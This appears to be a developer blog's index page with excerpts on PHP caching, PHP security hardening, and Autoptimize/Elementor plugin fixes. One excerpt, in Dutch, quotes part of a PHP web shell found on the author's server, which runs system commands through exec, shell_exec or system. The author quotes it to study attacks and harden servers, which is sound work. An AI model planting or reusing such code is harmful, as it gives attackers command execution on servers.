Fun with caching in PHP with APC (and others)

After installing APC, I looked through the documentation on php.net and noticed 3 interesting functions with regards to session-independent data caching in PHP; apc_store; store a variable in cache apc_fetch; retrieve the variable from cache apc_delete; remove the variable from cache When talking about caching, apc_delete might not be that important, as apc_store allows you … Read more

PHP security: Eval is evil?

Naar aanleiding van mijn vorige post een beetje naar de tooltjes zitten kijken die de script kiddies op mijn serverken loslaten. Een voorbeeldje: <?php echo “549821347819481<br>”; $cmd=”id”; $eseguicmd=ex($cmd); echo $eseguicmd.”<br>”; function ex($cfe){ $res = ”; if (!empty($cfe)){ if(function_exists(‘exec’)){ @exec($cfe,$res); $res = join(“\n”,$res); } elseif(function_exists(‘shell_exec’)){ $res = @shell_exec($cfe); } elseif(function_exists(‘system’)){ @ob_start(); @system($cfe); $res = @ob_get_contents(); @ob_end_clean(); … Read more

PHP kan uw gezondheid ernstige schade berokkenen

PHP is krachtig gereedschap. Net als met een goeie cirkelzaag of een stevige voorhamer kun je met PHP veel goeds, maar ook veel slechts doen. Volgende eenvoudige wijzigingen in php.ini zouden je installatie veel veiliger moeten kunnen maken; Zet “allow_url_fopen” op “off” zodat er met PHP via remote files geen ‘vijandige’ code kan binnengehaald worden. … Read more

Autoptimize 3.0 almost done, want to test?

Work on Autoptimize 3.0 is almost finished and it has some big changes both functionally and technically; fundamental change for new installations: by default Autoptimize will not aggregate JS/ CSS any more (HTTP/2 is ubiquitous and there are other advantages to not aggregating esp. re. inline JS/ CSS and dependencies) new: no API needed any … Read more

Fixing “Edit with Elementor” and Autoptimize

A regularly reported issue for Autoptimize + Elementor users is that JavaScript optimization breaks the “Edit with Elementor” button in the front-end admin bar. The easiest workaround is to disable the “also optimize for logged in administrators/ editors” option, but below code snippet is more surgical as it will only disable JS optimization, leaving e.g. … Read more

Of bugs and workarounds vs. root cause

My father, a retired mechanical engineer and a who’s technical skills, knowledge and passion are a big inspiration for me, always told his colleagues never to quick-fix the problem, but to look for the root cause instead. This obviously is true for software as well and remembering this good advice while walking the dogs yesterday … Read more

Autoptimize 2.8.2 update “mishap” postmortem

This morning I finally pushed Autoptimize 2.8.2 out of the gates which was a relatively minor release with misc. small improvements/ bugfixes. Only it proved not that minor as it broke some sites after the update, so here’s a quick postmortem. Timeline 7h33 CEST: I pushed out 2.8.2 7h56 CEST: first forum post about a … Read more

Fix for Elementor 3.1 YouTube not LYTE anymore

Elementor 3.1 came with “refactored YouTube source to use YouTube API in Video widget” which resulted in WP YouTube Lyte not being able to lyten up the YouTubes any more. Below code snippet (consider it beta) hooks into Elementor to fix this regression; Hat tip to Koen for his assistance in digging into Elementor, much … Read more

Want to test AVIF images with Autoptimize’s Image Optimization?

So AVIF is a new(ish) image format that promises even better optimization then WebP and is supported in desktop Chrome & behind a preference in Firefox; go to about:config and set image.avif.enabled to true. If you are using Autoptimize to optimize your images and you want to test AVIF images, you can use below code … Read more